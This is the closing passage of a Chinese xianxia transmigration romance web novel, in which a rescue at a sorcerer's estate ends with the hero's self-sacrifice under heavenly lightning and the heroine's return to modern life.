阵法的波动也传到了李慕言这里,他默然地站在一旁,看着拜高堂的两人,他袖下的指尖一动,放出一道灵力,随即站在这里的他双眼逐渐失去光彩,变得空洞无神,犹如一个木偶人一般。
辛婷仪早就守在了别院这里,收到江荨传信的同时,她也破了别院的一道阵法。
别院阵法被破,引起一阵骚乱,府上家丁出来察看情况,辛婷仪在暗处放出几个纸人,家丁立即追了出去。
辛婷仪趁机翻过墙面进到别院中,柳凝雪不好在厕屋里待太久,在侍女起疑之前她出去了。
柳凝雪轻咳了两声,道:“走吧。”
别院不大大小,但逛起来也要些时间,辛婷仪记着之前的进府的路线来到后院,可这一次一来却发现后院已经被人布下了法阵,层层法阵相叠,就好像被人从外层层叠叠落了锁。
辛婷仪伸手轻触到法阵上,这法阵强劲不容易破,若要强破必会引起李慕言的注意,她低眸想了想,反正都闹出动静了,也不差这一回,还是救人要紧。
不过一瞬,辛婷仪便决定下来,两手结印运起灵力,再一掌打出,阵法顷刻间被她破除。
破除阵法的波动扩及十里开外,柳凝雪和侍女正走着也感受到了,侍女脸色一变,当即沉下脸来,对柳凝雪道:“还请姑娘回房,莫要出来。”
柳凝雪看了她一眼,点了点头,随后便走了,左右也不急在这一刻了,看样子江荨和辛婷仪都收到了自己的消息。
破了阵后,辛婷仪打算先去救柳凝雪,她按照江荨给的路线走去,便见一间紧闭访房屋的门,外面已经围了一圈圈的侍卫,辛婷仪眉眼一凝,伸手拨出手中的剑。
——
江荨在传完信便往前院赶,与沈如珩会合,此时已拜完高堂上轿了,李慕言就站在人群中,对身边的话充耳不闻。
江荨运灵力一探,心下一沉,道:“假的。”
她看了眼沈如珩,说:“直接去别院。”
话落,她又赶去给辛婷仪传信,让她注意着李慕言。
彼时,辛婷仪早已提剑与那些守卫对上,根本没注意江荨的传信,柳凝雪坐在屋里,看着不断飚上门窗的血迹,一阵心惊。
不过多时,辛婷仪就一脚踹开了屋门,目光在房内受惊的丫鬟上看了一圈,最后定格在震惊住的柳凝雪身上,说:“走吧。”
柳凝雪忙点了点头,起身追着辛婷仪出去。那些侍女也只是普通人,也怕死,竟没一个敢拦她们的。
柳凝雪追着辛婷仪出来,辛婷
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仪对她说:“先去地牢,江师妹和沈师弟已经往这边赶了。”
柳凝雪点头,然而还没等她们来到地牢,李慕言就先一步回来了,她们正走着,毫无防备从侧面迎来他的一剑,辛婷仪敏感,反应疾速,几乎在剑刺来的那一刻,她就闪身躲开了。
李慕言收剑看着她们,道:“辛监长?别来无恙。”
辛婷仪微沉,回头对柳凝雪说:“你先去救谢世子。”
“好。”柳凝雪忙应声离去。
李慕言见状,想拦住她,却被辛婷仪打断了动作,她冷声道:“没想到,堂堂君子之表,温润尔雅的李监长也会做出囚人妻这种事,当真是下作至极!”
李慕言攻势变得狠厉,似要将她置于死地,他道:“辛监长,不觉得自己管得有点多了吗?”
辛婷仪道:“多?替天行道之事,我从来不觉得多。”
两人战争一触即发,对对方俱不手下留情,每一剑若是被刺中都是致命的存在。
柳凝雪匆忙赶往地牢处,地牢是李慕言用来炼尸的地方,自然不会派太多守卫过来,也不许常人靠近,他在这里设下道道阵法防着。
柳凝雪刚想破阵,措不及防从她身后射来一颗棋子钉在她面前的门上。
“这位姑娘,你要去做什么?”
他嗓音沙哑至极,语气冰冷,柳凝雪身形一怔,对了,怎么忘了还有这个人,那个屡次破她阵法的人。
她回头看去,果然看到一个覆面只露出一双黑白发明眼睛的人,见他招式应该熟练棋术。
他穿着一身黑,与现在的白天格格不入,柳凝雪能从他身上感受到一股肃杀之气。
从气质上柳凝雪就已经输了,根本不用实战胜负就已分。
柳凝雪“呵呵”讪笑两声,道:“大哥,做人留一线,日后好相见。”
然而大哥可能聋的,因为他根本没听柳凝雪的话,在她还没说完的时候,就已长剑向前,刺向她的喉咙。
他剑势如风,取人性格只在眨眼之间,柳凝雪还没反应过来,就听“当”的一声脆响,另一把长剑剑面横在了她喉咙前,挡住了他的剑尖。
柳凝雪吓得腿一软,身体贴紧了门框,稳住让自己尽量不瘫软下去。
沈如珩抵住他的剑,空余的手又打出一掌,那人堪堪避开。
沈如珩对江荨道:“师妹,你去救谢世子。”
江荨点头,上前带着柳凝雪离去。
地牢里暗沉无光,刚受过水刑的谢玄淮被沉入水底又拉了上来,他的身体和脸色都因长时间泡水而阵阵发白。
“吱呀——”
牢门忽然被人打开了,他抬目看去,便见柳凝雪朝自己奔来抱住了他,他身上还带着水渍,她却丝毫没有嫌弃。
柳凝雪现在满心都是他,脑海里的好感度提示她也无心去管了。
江荨上前说:“世子妃,后退一些,我来破阵。”
“好。”柳凝雪忙起身让开了。
江荨破了李慕言一道法阵,柳凝雪正等着她把最后的一道法阵也破了,正激动人心地看着,忽然见江荨往前走了几步,然后拿出了一串钥匙。
柳凝雪怔怔地看着她,一时忘了动作,江荨察觉她的异样,道:“世子妃,怎么了?”
柳凝雪道:“没什么。”
江荨用钥匙把锁着谢玄淮的铁链打开了,柳凝雪忙过去将他扶上岸。
谢玄淮喘了几口气,脸色煞白,但眼眸却一点一点地冷了下来,时机到了。
——
辛婷仪没料到李慕言的修为涨得这么快,李慕言也微感意外,待他运灵力时,周身黑气环绕,整个人几乎被邪气吞噬。
辛婷仪惊讶地看着他,道:“李慕言!你竟然修炼邪术!”
李慕言见状,不慌不忙地道:“那又如何?你死了不就没人知道了吗?”
辛婷仪一怔,她瞳孔慢慢地放大,定格在了某一瞬。
“砰——”
辛婷仪整个人被甩出几米开外,撞到墙上,她捂着腹部,吐出一口鲜血,长发白衣凌乱不堪。
李慕言手执着剑面无表情地看着她,目光犹如在看死人,而现在的她也与死人无异了。
“师姐!!!”江荨嘶声喊出,她奔过去将辛婷仪扶起来,她满脸不可置信地看着眼前的一切。
李慕言的目光在几人身上来回,最后看向谢玄淮,道:“你竟然出来了。”
谢玄淮冷笑道:“对啊。”
他一字一顿地说着,“出来。”
“杀你。”
他眉眼一压,杀意顿现,他两指夹住一张符纸,另一只手在自己身上不断地画着符咒,他速度之快,令人咂舌。
接着,他将血色符纸往空中一抛,一个以符纸为中心的法阵迅速扩开来,而符纸则化成粉未在谢玄淮身后的半空中勾勒出一个庞大的身影。
以身为咒,召九天神官之将首,灭邪之神。
所及之处,邪崇尽灭。
68. 天雷
头顶引路香,脚踏三步赞,邪崇只杀不渡。
碰上他,邪崇无生还的可能。
李慕言看着他召出来的神象,眉头紧蹙起,他现在已是邪气入体,彻彻底底地成了邪崇,所以九神官将首这次的目标是他。
九神官将首出来的那一刻,他的威压压得李慕言几乎拿不稳剑,他拧眉看着谢玄淮的动作,说:“你要和我同归于尽?”
谢玄淮冷笑一声,与九神官将首先后攻了上来。
柳凝雪蹲下身与江荨一同查看辛婷仪的伤势,可终究是无力回天,柳凝雪看着低着头不动的江荨,抿了抿唇,道出一句,“江姐姐,节哀。”
她不知道该说什么了,她神色与江荨一样悲伤,她转头去奋战中的谢玄淮,从刚才开始心头就一直萦绕着一股不安之感,却又说不出来为什么。
江荨停下了给辛婷仪继续渡灵力的手,她这才注意到谢玄淮召的神象,她眉头皱得更紧了,问柳凝雪道:“世子妃,谢世子可曾同你说过召神象一事?”
柳凝雪不安地点头道:“说过,也是他教我在室内画咒,让李慕言吸入更多邪气,直至邪气侵身,无可救药。”
江荨道:“这神象不是一般人能召的,九神官将首是灭邪之祖,是他们符术那一派的祖师爷,以身为咒召他的人势必要消耗更多的灵力去维持他的神身,而召他杀了该杀之人后,还要承受天雷的考验。”
江荨脸色沉了许多,道:“但,古往今来还没有人在受天雷之后还能活着。”
听完,柳凝雪的脸色顿时变得煞白了,谢玄淮只对她说了一半,后一半根本没有和她说。
柳凝雪的指尖渐渐握紧了,也就是说,谢玄淮会死。
柳凝雪一时接受不了这个打击,脑袋空白一片,怔怔地坐在原地不知所措。
谢玄淮要死了吗?
她问自己。
一股巨大的茫然笼罩上她的心头,让她感到一阵恐惧。
谢玄淮和李慕言的战斗正进行的如火如荼,旁人轻易近不得身,李慕言一人抵挡着神象和谢玄淮,这时也显得微微乏力了。
谢玄淮咬着牙,与李慕言剑抵着剑,唇角溢出一道血痕来,九神官将首威压震下,压得李慕言一阵胸闷,嘴边也流下一道血痕。
谢玄淮灵力如纸般迅速燃烧着,他炼化不了的那股灵力全用来燃烧维持神象了,两人战况胶着,打得难舍难分,最后李慕言逐渐落了下风,九神官将首,灭邪之神的名号不是空穴来风,而是实实在在的。
尽管起初李慕言能应对一二,到最后也免不了被打压,他往后快速退去,拉开两人的距离,捂着胸口“噗”地吐一口血。
他以剑支地,勉强维持住自己的身形,却已无力应对,谢玄淮看准时机,与九神官将首同步,他提起剑给了李慕言最后一击,掌与剑同时落到他身上,俱穿透了他的身体,李慕言身形一定,凤目一睁,长剑当啷一声落地,口中不断有鲜血涌出,他愤恨又不甘地看着谢玄淮,脸上充满了难以置信。
一命毙,谢玄淮同时也灵力丧尽,神象消散,他拖着疲惫的躯体往柳凝雪那边走了过去。
柳凝雪一直怔愣的神情终于回过神来,起身朝他奔了过来,他抬眼望着向自己跑来的人张开了双臂,下一刻就被人扑了个满怀。
滚烫的泪水砸落在他衣服上,他一只搂着她,一手慢慢往上捏住了她后颈上的命门。
要杀了她了吗?
但是他已经力尽,无力去思考,也没有力气去做这件事,他现在只想好好地抱一下她。
可他还没伸手去搂紧她,双膝便软倒跪在了地上,柳凝雪抱着他,顺着他的动作,一同跪了下去,她松开他,怔怔地看着他,说不出一句话来,脸上的泪兀自地留个不停。
他伸手轻轻抚上她的脸,虚弱道:“别哭。”
他语气飘渺,一触即散,柳凝雪一动不动地看着他,眼泪涌得更厉害了,她哽咽着说道:“骗子……”
“你骗我。”
“你说你不会有事的。”
“你说你不会离开我的。”
当听到谢玄淮的阵法可以杀了李慕言的时候,她就觉得没有那么简单,李慕言在书中是个怎么样的存在,她最清楚不过,怎么可能轻易就能杀掉,他说他不会死的,她信了。
谢玄淮说:“我没骗你,我一直都在你身边。”
“柳凝雪,我死后,你要为我守寡一辈子,你若是敢另嫁他人,我做鬼也不会放过你的。”
可惜,这些话他都不能应验了,天雷狠烈,受天雷者形神俱灭,他哪里还有魂魄成鬼缠着她生生世世。
柳凝雪双手捧起他的脸,直起腰,抬头吻上了他的唇瓣。
轰隆隆——
云上天雷滚滚,谢玄淮不知道哪里来的力气,一掌将她打晕,江荨见此,忙上来将柳凝雪带走。
紧接着,天雷一道道劈下,如千斤重石般砸在他身上,砸弯了他的腰,谢玄淮双手撑着地面,咬牙拼命顶着天雷,硬撑着不倒下去。
三十道天雷无一例外俱劈在了他身上,天雷毕,云开雾后,谢玄淮形神俱散,化作一缕金烟,随着清风吹过而消散。
此后,世上再无他。
……
昏迷过去的柳凝雪被江荨带回了江府,彼时林月明正和江若宁一人抱着虎,一只抱着鹅在玩,见江荨沉着进来,又见她身后跟着一个血人般的沈如珩,俱都惊愣了一下。
江若宁反应过来,忙上前扶过沈如珩,问道:“这到底怎么回事啊?怎么弄成这样?”
林月明忙放下怀里的幼虎,过去帮江若宁一起扶着沈如珩,这时沈如珩也撑不住身体,晕了过去。
江荨将柳凝雪安置好后,又在房中燃了安神香才离去,她过去看了下沈如珩。
到屋外时,侍女来告诉她,沈如珩还没醒,江荨便在屋外等着了。
一直到傍晚时分,沈如珩才幽幽转醒,他一睁眼,入眼的就是站在廊下那道笔直的身影,她并没有进屋。
沈如珩动作极轻地下了床,和那人的对战,虽说杀了他,但自己也受了重伤,此刻,他一动身
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体,五脏六腑就好像被人拿刀一直捅一样痛得他难以忍耐。
他轻手轻脚地来到江荨身后,一向警觉的江荨竟也未能发现,他看了她好一会儿,才轻声念道:“师妹。”
或许是受伤的原因,师妹这两个字在现在他虚弱的语气喊来颇有些缠绵缱绻。
江荨一愣,转身看向他,道:“沈师兄。”
话落,沈如珩便轻咳了起来,他以手虚握成拳偏过头,咳得直至面色泛着轻微潮红才停下。
江荨道:“师兄身体不好,先回屋休息着吧,莫着凉了。”
“无碍。”沈如珩道:“师妹来找我何事?”
江荨朱唇轻启,道:“我想送辛师姐回师门。”
辛婷仪自小在师祖教导下长大,是被师祖捡回来的,大概人都讲究个落叶归根,江荨也不例外。
沈如珩点了点头,“嗯。”
他说:“关于辛同门一事,还请师妹莫哀,斯人已逝。”
江荨吐了一口气,说:“无事。”
“至于李慕言,他修邪术,伤人一事,那是向罪有应得,圣上已经对他论罪,即使他死了。”
江荨对李慕言充斥着浓浓的恨意,只恨自己不能亲手了解了他。
沈如珩沉默了一阵,又道:“师妹此后打算作何?是继承监长之位还是?”
江荨道:“云游。”
她看着沈如珩说:“我的修为暂且不足以顶替监长之位,所以我打算出去云游,同时提升一下自己的修为,等我能力足够时,我自会回来,护一方安宁。”
沈如珩眼捷轻眨,听到她一句一句安排自己的后事,心里没来由地蹦出一句,那我呢?
他定定地望着江荨,张了张唇,想说什么却说不出口,现在不说,此后也不知何时才能见面。
可她会答应吗?
沈如珩迟疑了,平时剑斩邪崇,毫不犹豫的剑心,此刻却拿不定主意。
江荨见他似乎没什么再要说的,便道:“师兄伤得如此之重,先在江府住下养伤吧,待伤养好,再做其他事也不迟。”
沈如珩道:“嗯,多谢师妹。”
江荨道:“不客气。”
江荨看了他一眼,把该说的说完了,她也该走了,她对沈如珩拱了拱手,转身走了出步远。
她就像一阵风,走时刮起了他轻薄的衣袂和长发,“师妹!”
他突然一声喊,江荨已走出好几步远,忽闻他一声喊,茫然地回过头来,问他:“怎么了?师兄?”
沈如珩道:“此去一路,注意安全。”
江荨点了点头,说:“师兄无须多言,我自会注意的。”
江荨正要再走,却听沈如珩急促又快速的嗓音,道:“师妹,我们结契吧。”
他声音温和中带些许冷淡,很是悦耳好听,她怔怔的还没回过神来,又听沈如珩道:“师妹,我想和你成为道侣。”
“生生世世,不离不弃。”
他的衣袂被风吹动,在眼前晃荡,眼中神色,情真意切,欲.念缠绵。
69. 迷雾
江荨面色保持着平静,对他说:“师兄,你想好了吗?修我们这一道的,一生一世仅此且只能娶一个,结契之后,若有一方违背,便会遭受天遣。”
沈如珩神色认真道:“我想好了,天上地下人间,我都只会有江荨这一位妻子。”
江荨微笑道:“天上地下人间,我都只会有沈如珩这一位丈夫。”
——
柳凝雪沉睡梦中,梦里模模糊糊的一片,看不清前路,她沉默又茫然地望着前方,又低头看了看自己,很快视线逐渐清明,自己的魂灵状态渐渐出现在眼前。
又是这个往事程序。
柳凝雪从地上站起来,她看了一圈周围,这里的布局和敬王府的后院很像,她没怎么去过王府后院,是住进倚竹院时,她才逐渐了解这个后院的。
视线聚拢后,柳凝雪就看见谢玄淮蹲在池边,不,准确来说,应该是谢小淮,他似乎又长大了些,身高都到她胸前了。
现在正是六月盛夏,池中荷花正盛,大朵大朵地开着,接天莲碧,映日荷花。
他虽盯着池子看,但视线涣散,看着某一处不动,似乎在出神。
这时,她身后忽然传来一阵愉悦的笑声说:“敬王爷,你这也太狠心了吧?小世子父亲不疼娘亲不爱的,你还把唯一愿意照顾他的侍女杀了,论狠心,我真远不及你。”
听到声音,柳凝雪转身看去,就见一个着白衣的男子与谢行远并肩往这边走来,他口中虽是这么说着,脸上却未一点同情之意,反而面色平静,就好像在讨论今天在吃什么。
两人走到此处,脚步忽的一顿,视线紧紧地盯着谢小淮的方向,白衣人脸上的笑意也淡了下去,下一刻,柳凝雪就感受到一道灵力打来,穿透她的身体射入水中。
“谁在哪里?”白衣人正色道。
谢行远也凝眸看着这一处,柳凝雪被他们的目光看得脊背发寒,若不是相信系统,她真要觉得自己被他们发现了。
柳凝雪站在原地心脏砰砰砰地跳个不停,灵力打入水中激荡起一阵水花,洒了谢小淮一脸,他从池边站起身来,然后面无表情地向他们走了过去。
“我。”他说。
白衣人轻轻摇着扇子,忽的展颜一笑道:“原来是小世子。”
谢行远同时也收回了目光看向谢小淮,白衣人走近他,一手拍了拍他的头,笑着对他说:“小世子,没人陪你玩,你是不是觉得很孤单啊,我教你一个术法吧。”
谢小淮抬眸看着他,脸色不惊不色,白衣人依旧是笑着,笑意却不达眼底,他的眼眸就像一块冰一样冷,除此以外,还带着几分癫疯之意。
这也是个疯子。
柳凝雪在心中暗暗道。
接着,那白衣人就拉过谢小淮,在他手心画了一道符,画完后,又拍了拍他的头,说:“记住了吗?这符咒用血画最好哦!”
柳凝雪对白衣人的动作感到极为的不耻,小孩子体弱根本承受不起用血画符给身体带来的损伤,长久以往会命竭而死。
然而那人眼中却并无愧疚之意,做完事后,站起来,又和谢行远一同走了。
谢小淮低头看了看自己掌心,随后他跑了起来,柳凝雪忙追上他,一直跟着他回了他的房里。
他的房间极其简陋,就好像随意找一乊杂货间扔给他一样,比下人还不如,殊不知这间房还是谢小淮之前的那个侍女收拾出来,他连自己的一间房也没有。
他坐到了床榻,盘起了腿,柳凝雪站在他面前,见他目光真挚虔诚,好像在看着她,她一时分不清是不是自己的错觉。
然而下一刻,谢小淮突然咬破自己的指尖,迅速在掌心画着符咒,再对着她的身体一掌打击。
他人小,符咒力量却不小,柳凝雪怎么说也是个魂灵的状态,尽管有系统维护,还是受到了他的影响,整个魂魄摇摇晃晃的。
柳凝雪感觉到一阵头晕,忙扶住墙缓和,半晌,她听到谢小淮声音道:“我知道你。”
我?
柳凝雪很疑惑,她一动,谢小淮的眼睛也跟着她动,她又听他说:“我看不见你,但我能感觉到。”
柳凝雪沉默了,谢小淮问她:“你有什么目的。”
柳凝雪道:“没有目的。”
他听不到她说话,但能感觉到她对自己并没有敌意,他紧绷的神经也松了下来。
之后的几天,柳凝雪就一直跟着他走,他没有朋友常常对空气自言自语,别人都笑他是傻子,但柳凝雪知道他是对自己说话。
他经常受到来自不同人的折磨和敌意,没有一个人会帮他,每天带着一身伤回到那个小房间里,翻出药粉随意给自己撒上止血,止完血再躺到床上一睡,第二天又出去。
有一天,他回来时,额头甚至破了一个大洞,鲜血淋淋,模糊了他半张脸,柳凝雪在一边急得不行,他却像浑然没有疼痛一般,晕晕沉沉地躺回床上,连药也不上了。
柳凝雪急得不知所措,却又无可奈何,慌忙之下,她求助了系统,她知道谢玄淮不会死,但也做不到就这么袖手旁观。
系统却说:【抱歉,宿主,我无能为力,这已经超出了我的能力范围。】
热泪滑过她的脸庞,她哽咽着问:“真的没有办法了吗?”
系统沉默了,它真的没有办法。
柳凝雪将脸埋在掌心里,她整理了下情绪,走到床边蹲下,尽管他可能感受不到她,她也依然将自己的手轻轻地放到了谢小淮的额上,试图拭去他额角的碎发。
睡梦中,谢玄淮感受到了,她温凉轻柔的手抚在自己的额上,他能感觉到她对自己那浓烈的情感,很奇怪他并不厌恶。
因为父母的原因,他讨厌别人将情绪加之于自己身上,无论好坏,他抗拒别人靠近自己,也排斥别人。
他想睁开眼睛去看看她,可沉重的眼皮却始终睁不开,他挣扎了起来想要抓住她的手,但身体无力,使劲力气却只能动一下手指。
他开始恨自己没用,如果自己再强大一些就不会有人敢对自己不敬,就不会有敢欺负他,看不起他,他也就能看见她。
变强的心从未有一刻这么强烈过。
他用尽全身力气在手下画了一道符,不出片刻,一个黑色着装的人顿时出现在眼前,柳凝雪吓了一跳,好一会儿才认出那是谢玄淮的影卫。
这是影术,那个白衣人教他的,每画出一道符就会消耗本人极大的精力,影卫是他的影子,而影子是不会想让自己的主子死的。
影卫翻出药粉给谢小淮撒上,止住了血,粗粗清理了一下,包扎好后,又消失了,以他现在的修为维持不了影术多久。
柳凝雪松了一口气,在他床边坐下,谢玄淮躺了几天后,奇迹般地醒了。
他眼神变得异常冷漠而坚定,依稀有了长大后的影子。
没有人教他术法,不清楚自己最适合什么,那他就什么都修炼一遍,总能找到适合自己的。
后来他渐渐不止于这些术法,转炼邪术,这样提修为的速度更快。
柳凝雪看着他如折磨自己般的修习,心里泛起一阵酸涩,他的命运本不该这样,也没有谁生来就能选择自
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己的人生。
眼前画面渐渐模糊,变成白雾散去,迷雾过后,柳凝雪来到了一个水牢里,这里四处注水,唯石洞中间有桥通往水池中间的圆台。
十四岁的谢玄淮被铁链扣住手腕浸在水中,两条铁链自两边铁柱而来,他反手拽着铁链,低头粗粗地喘着气,脸上不断地往下滴着水珠。
这是他第一次受水刑。
他身上的衣服破破烂烂,满是触目惊心的伤痕,柳凝雪心一惊,随即身后传来一人的笑声道:“小世子不就是想炼术法吗?你就让他炼呗,何必如此折磨他。”
柳凝雪循声转头看去,便见那个白衣人又和谢行远一起走了过来,谢行远冷着一张脸一言不发,白衣人又道:“正好,我这钦天监监长也须得有人继位,不如把他交给我如何?”
谢行远并不喜欢谢玄淮修炼,他违背了他的话,他自然要惩罚他的。
两人行到谢玄淮面前,谢行远看着低下头的他,他有一张长得极像他母亲的脸,可惜他母亲逃了,他也连带着谢玄淮一起憎恨,这是她的孩子,她当真不会心疼而选择回来吗?若真不心疼,他将他折磨死了也不为过,左右他一点也不喜欢孩子,生下他不过是为了牵制她,可她还是走了,那他也就没意义了。
谢行远不语,白衣人便当他答应了,随即白衣人就在谢玄淮身前蹲下来,用折扇挑起他的下巴,迫使他抬起头来,细细打量了他一眼,看他时那悲悯的神情就好像在看一条狗。
他笑说:“走啦。”
……
眼前一晃,柳凝雪又来到了谢玄淮十六岁的时候,少年眉眼狠戾阴冷,笑着将剑插.进谢行远的心脏里,模样带着疯狂之意,俯在他耳边说:“父亲?我回来了,怎么样?看到我你开心吗?”
谢玄淮将长剑一拨,热血溅了他一脸,火光映在他脸上明明灭灭,柳凝雪这才看清,地上躺了一地的尸体,全是王府中的人。
少年在站了片刻,而后像是察觉到了什么,手中长剑往柳凝雪的方向一掷,利剑破风而来,柳凝雪吓得闭起了眼睛,然而剑刃却只是擦着她的发梢而过,盯在了她身后的柱子上。
随后,她就听到谢玄淮微哑带笑的嗓音道:“找到你了。”
柳凝雪心一惊,忙睁开眼睛去看他,却发现他在盯着地上的一滩血水,血水上模模糊糊地勾勒出了她的影子。
柳凝雪心里大叫一声,我靠!这小疯子什么时候布的阵法?!
她曾在民间听到过有一种阵法可以通过水面来看到一些不存在的东西,没想到谢玄淮竟用在了她身上。
莫非他一直知道她在敬王府中,所以提前布下阵法等她出现?
谢玄淮动身朝她走了过来,而柳凝雪想要逃,但脚下却像是长了钉子一样,钉在了原地动弹不得。
他走到她身前,手像是破除了虚空一般,准确抓住了她的手腕,柳凝雪急得在心中大喊了一声系统,下一瞬,她就在谢玄淮眼前消失了。
眨眼间,她又出现在了一个空间,这个空间是黑色的,一望无际的黑,伸手不见五指,她正站在,突然有一手从她身后抱来,紧紧地环住了她的腰,她正要挣扎,却闻到了他身上那股熟悉入骨的香气。
他将冰冷的脸埋首在她脖颈间,充满了不舍与爱意,虚空中她听到他语气轻轻地说:“柳凝雪,我爱你。”
话语随风飘散,落入她耳中,轻如纱雾,一触即散,她忽然感觉腰上一松,身后的人也紧跟着消失了。
【谢玄淮好感度达到百分一百。】
【恭喜宿主任务完成。】
70. 归去
【恭喜宿主任务完成。】
系统话音落下,一滴泪滑过柳凝雪的脸侧没入枕头中。
她缓慢地睁开双眼,茫然地看着湖蓝的帐顶,一旁的林月明正边看话本边守着她,见她醒来,情不自禁地喜道:“你醒了!”
她嘟囔着道:“你都不知道你睡了多久,我守了你多久,好在你醒了。”
接着,林月明又拿出一个多面玉印交给她说:“这是江荨让我交给你的。”
柳凝雪双目发怔,根本听不进林月明说了什么,直到那枚多面印出现在她眼前,她才转过目光去她。
林月明道:“江荨让我告诉你,这枚玉印上藏有谢玄淮的心头血,他用自己的血做了一枚钥匙,简而言之,就是有了这枚玉印,他布的一切阵法都对你没用,江荨觉得你有权知道这件事,让我告诉你。”
柳凝雪眼捷一颤,夺过林月明手上的多面玉印,细细地观察起来,目光珍惜至极,生怕捧在手心碎了。
他害怕她离开他,又违背本性地将选择交给她。
她戴着多面玉印,倚竹院的阵法对她来说根本没用,只是她从没想过要出去罢了。
柳凝雪摩挲着这枚多面玉印,随后将它贴到了心口处,她躺在床上闭上了眼睛。
脑海里出现系统的声音道:【宿主是否选择回到现实。】
柳凝雪道:“回去。”
话落,她眼角又一滴泪滑过,窗外白雪纷飞,雪夜宁静,唯余风吹过窗户时发出的呼呼声。
躺在床上的柳凝雪慢慢地睁开了双眼,两眼空洞地望着天花板,她现在的脑子一片空白,她什么都不想做,只想好好躺着。
她感受到手中的坚硬,低头一看,是那枚多面玉印,它正在散发着一阵幽幽的淡青光芒。
柳凝雪脑海中忽然闪过谢玄淮的那一句话,“我一直在你身边。”
玉佩碎了,但多面玉印来了。
柳凝雪观摩着这枚多面玉印,想着,他似乎真的一直陪在自己身边,玉佩和多面玉印都是他存在的证据。
她忽然想到,会不会玉佩就是他呢?不然为什么玉佩碎,他就死了呢?
玉佩是和她的命连在一起的啊,他的命也是和她连在一起的,她因他而生,他因她而亡。
早已在不知不觉间,他们的命运就连在一起了。
柳凝雪起身下床,像当初放那枚玉佩的样子,将这枚玉印放进了盒子里珍藏。
雪还在下,她的人生还在继续。
她抚着这枚多面玉印,感受着心里一阵又一阵的抽痛,心底传来的痛感痛到她难以呼吸,眼泪不停地砸落玉印上,她仿佛又看见谢玄淮在幽微的烛下一刀一刀仔仔细细刻画着玉印的情景,他眉眼是从未见过的认真,啪的一下,她狠心关上了盒子。
盒子合上的那一刻,她把脸用力地埋进双手中,凄惨的哽咽声在寂静的房屋中回荡,这时,微风从外吹进,卷来丝丝缕缕的雪,落在她的发梢脖颈上,柳凝雪恍惚间听到谢玄淮的声音说:“我会一直在你身边。”
他声音语气飘渺,一瞬即逝,柳凝雪猛地抬起头,往窗外看去却只见那扇未关紧的窗,她的双眼哭得通红,泪好像哭干了,已经流不出来了。
她整理好情绪,起身去关了窗,屋内寒风退尽又重归温暖。
柳凝雪重新躺回床上,闭起眼睛,告诉自己,睡一觉吧,睡完醒来又会见到谢玄淮了。
但到了第二日,她醒了过来,房间还是那个房间,床头柜上的手机在不断地震动,是她调的闹钟响了。
她起身去把闹钟关掉,又茫然地躺到床上,盯着天花板发呆,那场穿越就好像是梦一般,似乎从未发生过。
她的生活又重到了正轨,照例上下班,应酬,试着让自己忙起来,忘记一切,柳凝雪曾想过换个地方工作生活,看了许多房子,临近搬走时,她又不舍了,她已经习惯了。
那个房间好像藏了一个古代,藏着她的黄粱一梦。
还是不搬了。
决定下来之后,柳凝雪又打算养猫狗分散自己的注意力,她给新买的小狗取名叫谢玄淮。
他竟敢骗了她,她要让他变小狗。
夜晚时分,她一个人做了晚饭,坐在桌上,一个人吃着,柳凝雪吃了半碗饭忽然发起呆来,以往吃饭的时候,谢玄淮总会吃得很快,然后从身后过来抱住她,她总会觉得他烦。
可现在,柳凝雪忽的放下手中的碗,以手撑着下颌,
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怔怔地看着一方,眼神清明,没有一滴泪落下,神色平静似看惯人生悲欢离合。
——
林月明没想到人还能在自己的眼皮子底下不见,她把整座江府翻遍了都没找着柳凝雪的身影,最后在她的枕下发现了一张字条,“勿念。”
“勿念?”林月明难以置信地看着这两个字,她愤愤道:“本郡主照顾了她这么久是为了一句勿念吗?真是太令我失望了!”
林月明气得当即就要召集人手去把柳凝雪找回来,却被江若宁给拦下了,江若宁对她说:“既然她已决定离去,那就随她吧,也好过一直待在这伤心地。”
林月明想了想,尽管心里已经认同了,但脸上还是作出几分不满的样子,说:“也行,本郡主便暂且饶过她吧。”
话落,林月明又愤怒不平地说:“这李慕言真是坏事做尽!”
自之前知道李慕言炼阴兵,而自己的舅舅就是因为他放出邪崇害的事后,她对他就没好脸色,虽然本来也没有。
言罢,林月明将纸条往江若宁怀里一丢,说道:“这江府既没我什么事了,那我便走了。”
说着,刚转身要走,却被江若宁喊住了,“等等!”
林月明回头他,不解地问:“做什么?”
江若宁道:“我阿姐的成婚日,你会来吧?”
他说话声音小了些,似是很没有底气,林月明扫了他一眼,道:“看情况,心情好就来。”
江若宁脑子一抽,追问她:“那心情不好呢?”
林月明莫名其妙地看了他一眼,道:“那就不来呗。”
江若宁垂下眸,说:“可我阿姐此前对你多有照顾,你当真不来吗?”
他这话说得便有了几分道德绑架的意味,他语气这般如此委婉,林月明还看不出他的意思那就是白痴了,她说:“江公子,试问本郡主来与不来与你何干?”
江若宁回她:“无干。”
林月明:“那不就行了。”
说完,林月明便扬长而去,留江若宁一个人愣在原地。
六月菡萏别样红,天清云白,是为吉兆。
…………
—完—
2025.3.28